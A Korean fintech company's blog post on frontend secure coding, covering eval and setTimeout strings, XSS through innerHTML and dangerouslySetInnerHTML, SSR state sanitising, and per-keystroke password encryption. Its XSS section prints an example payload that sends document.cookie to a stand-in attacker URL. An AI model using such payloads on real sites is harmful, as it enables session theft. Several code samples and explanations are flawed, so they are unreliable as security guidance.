기술 블로그

프론트엔드에서의 시큐어 코딩

November 02, 2020


안녕하세요. 모인 개발팀 이 경호입니다.

저희는 언제나 보안에 민감한 송금업을 하다 보니, 시큐어 코딩에 관해 고민하거나 이야기 나누는 시간이 많은데요.

오늘은 그 중에서도 프론트엔드에서의 보안에 관해 공유해 보려고 합니다.

프론트엔드에서 신경써야 할 보안의 영역은 광대하지만, 그 중 일부를 소개해 보려고 합니다.

1. eval()

eval() 함수는 매개 변수로 받은 문자열, 객체를 파싱해서 실행합니다. MDN eval() 문서 말미에 Never use eval()! 이라는 챕터가 있으니 한 번 읽어보시는 게 좋습니다.

eval() 함수는 다음과 같은 형태로 사용할 수 있습니다.

eval('console.log(`hi`)');
=> hi

실제로는 주로 JSON 객체를 편하게 파싱하기 위해 사용하게 됩니다. 하지만 eval함수를 그냥 사용하는 경우는 드물겠죠.

우리가 더 주의해야 하는 경우는 내부적으로 eval을 실행하는 다른 메서드를 사용할 때 입니다.

setTimeout("alert('에이 설마 이게 되겠어..?')", 1000);

만약 해당 코드의 실행부를 변수로 할당했다고 가정해봅시다.

let foo;

foo = someHackerInputText;

setTimeout(foo, 1000);

이제 foo 부분에 들어가는 함수, 문자열, 객체 어떤것이든 eval()을 트리거하고, 원하는대로 브라우저를 조작할 수 있게 되었습니다. 이걸 예방하는 방법은 사실 간단합니다.

let foo;
setTimeout(() => alert("성공"), 1000);

익명 함수로 감싸주면 더 이상 내부의 문자열을 평가하려는 시도가 일어나지 않습니다. eval()은 매개 변수가 없는 익명 함수 ()를 호출하고 반환값으로 받은 alert('성공') 이 실행됩니다.

같은 예로 setAttribute("someHTMLEvent", "...") 가 있습니다.

const func1 = () => alert("짜잔");

someButton.setAttribute("onclick", func1()); // BAD
someButton.addEventListner("click", () => func1()); // NOT BAD

setAttribute 의 두 번째 인자는 평가됩니다.

하지만 진정한 위협은 자바스크립트의 일급 함수 특성을 이용해 간단히 회피할 수 있는 위의 메소드들이 아닙니다.

1 - 1. InnerHtml

innerHTML이나 리액트의 dangerouslySetInnerHTML은 퍼포먼스 차이가 존재하지만, 본질적으로 위험하다는 사실은 같습니다. 하지만 편안한 구현을 위해 필요한 친구들이기도 하지요.

이들은 프론트엔드에서 일어날 수 있는 가장 큰 보안 허점인 XSS를 유발할 수 있습니다.

XSS(Cross-Site-Scripting) 공격자가 프로덕트에 원치 않는 코드를 삽입하여 실행하는 취약점입니다.

리액트로 예를 들어보겠습니다.

import React from 'react';
import VeryDangereousInput from '@src/components/';
import fetchComments from '@api';

const Compo = () => {
  const [comments, setComments] = React.useState([]);
  const [value, setValue] = React.useState()

  React.useEffect(() => {
    fetchComments();
  })

  const _init = async () => {
    const _comments = await fetchComments();
    setComments(_comments);
  };

  return (
    <VeryDangereousInput value={value} onChange={(inputText) => setValue(inputText)} />
    <ul>
      {comments.map(c => <li key={c.id} dangerouslySetInnerHTML={{ __html: c.value }}/>)}
    </ul>
  )
}

위의 컴포넌트는 코멘트를 받는 그대로 저장하고, 그걸 그대로 출력하게 됩니다.

이 상황에서 악의적인 공격자가 다음과 같은 문자열을 입력한다면 어떻게 될까요?

<img src="보안이 엉망이군요" onerror={fetch(http://HACKERS-RULES-URL,
{document.cookie})} />

네. 해당 페이지에 들어간 고객들의 쿠키 정보가 해커들에게 자동으로 수집되게 되었습니다.

쿠키에 세션 아이디나 각종 토큰을 보관하는 경우라면 엄청나게 큰 보안사고로 이어질 수 있습니다.

하지만 WYSIWIG 에디터, 마크다운 파서, 텍스트 소스에서의 마크업은 필요한 일이 상당히 있고,

이때마다 별도의 인터페이스를 작성하는 것은 몹시 힘들고 지치는 일입니다.

가장 간단한 해법은 HTML sanitizing을 적용하는 것입니다.

sanitize-html @npm

위의 라이브러리를 사용하면 삽입되었을 때 위험한 문자열을 제거해줍니다.

각종 태그에 onerror등 네이티브 이벤트 핸들러 등이 부착되는 상황을 예방할 수 있습니다.

아니면 스스로 Validator를 만들어 해당 위험요소를 제거할 수도 있습니다. 정규식을 이용해 위험한 문자열을 추출해내는 방식을 적용해도 좋고, Flux 아키텍처를 사용한다면 스토어에 dispatch 하기 전에, 혹은 db에 해당 문자열을 보내기전에 사전 검열하는 방식으로 사용할 수도 있습니다.


2. 서버사이드 렌더링


SSR을 실행할 때 한가지 더 체크해야 할 문제가 있습니다.

Redux등 상태관리 라이브러리를 사용한다면, 초기 변수에 의존하는 렌더링을 구성하기 쉬운데 이 때 preloaded state를 사용하게 됩니다.

function renderFullPage(html, preloadedState) {
  return `
    <!doctype html>
    <html>
      <head>
        <title>Redux Universal Example</title>
      </head>
      <body>
        <div id="root">${html}</div>
        <script>
          // WARNING: See the following for security issues around embedding JSON in HTML:
          // https://redux.js.org/recipes/server-rendering/#security-considerations
          window.__PRELOADED_STATE__ = ${JSON.stringify(preloadedState).replace(
            /</g,
            "\\u003c"
          )}
        </script>
        <script src="/static/bundle.js"></script>
      </body>
    </html>
    `;
}
// 출처: 리덕스 공식 문서 (https://redux.js.org/recipes/server-rendering)

renderFullPage() 함수를 호출하기 전에 스토어의 모든 값을 객체로 preloadedState 매개 변수로 넘겨주게 됩니다.

스토어의 모든 정보가 소스에 노출된다는 것과 같습니다. 크롤링에 굉장히 취약해지고 스토어에 민감한 정보를 보관한 경우라면(그러면 안 좋지만!) 보안 사고로 이어질 수 있습니다.

여기에도 1 에서 했던 것과 같이 sanitizing을 적용할 수 있습니다.


JSON.stringify(state).replace(/</g, "\\u003c");

혹은 라이브러리로 직렬화해도 좋습니다. 이걸로 스토어에 위험한 소스코드가 인젝션되는 상황을 예방할 수 있습니다.

순서대로 말하면,

  1. 스토어를 가져와서 sanitizing
  2. 해당 스토어 객체를 직렬화
  3. 직렬화한 문자열을 특정 DOM에 삽입해서 클라이언트로 보내준다.
  4. 클라이언트에서는 그 DOM의 내용을 initState로
  5. 해당 DOM 자체를 삭제한다.


의 과정을 거치게 됩니다. 위의 순서만 기억하세요!

3. E2E 암호화

사용자가 패스워드를 입력하는 경우를 생각해봅시다.

이 때, 평문을 처리하는 방식으로 변수 하나(password)에 문자열을 저장하고 입력시마다 해당 문자열을 갱신한다면?

password: q
password: q1
password: q1w
password: q1w2
...

사용자가 입력할때마다 해당 변수는 갱신될것이고, 해당 입력값은 키로거 같은 별도의 준비 없이도 간단히 탈취가 가능할 것입니다. 특히 위에 언급한 XSS 공격과 결합되면 순식간에 모든 유저의 패스워드가 유출될 수도 있습니다.

API로 보내기 전에 암호화를 하는 방식의 문제점이 여기에 있습니다. 통신 간에는 안전하더라도 저희가 통제할 수 없는 클라이언트 영역에서 일어나는 탈취를 막을 방법이 필요합니다.

여기서 필요한 개념이 E2E 암호화입니다.


E2EPassword: ['sad4234nbjktbkb234bjk!- sdgkjbsdkb2312bk1-sdkjgbkdgks213']
E2EPassword: ['sad4234nbjktbkb234bjk!- sdgkjbsdkb2312bk1-sdkjgbkdgks213',
              'sdgnaklsn23423424'-'...']
...

이런식으로 사용자가 한글자를 입력할때마다 암호화를 진행하고, 암호화된 객체를 서버로 전송해서 서버에서 이를 복호화하여 패스워드로 사용합니다. 이 방식에서는 개발자도구등에서 한글자를 입력할때마다 암호화된 해시값밖에 볼 수 없으며, 암호화 규칙을 추가하면 추가할수록 더욱 안전한 방식이 됩니다.



마치며

코드 난독화, 사용자 식별 등 더 많은 보안에 관한 토픽이 존재하지만, 제가 생각하기에 가장 핵심적인 부분을 위주로 공유했습니다. 이 글을 읽으신 모든 분들이 보안 사고에서 벗어나 행복한 코딩을 할 수 있길 바랍니다.



해외 송금이 필요하다면? 모인 바로가기


경호

경호 프론트엔드 개발자

리.액.트.조.아

kyeongho.lee@themoin.com

모인 개발팀 에 의해 작성된 글입니다.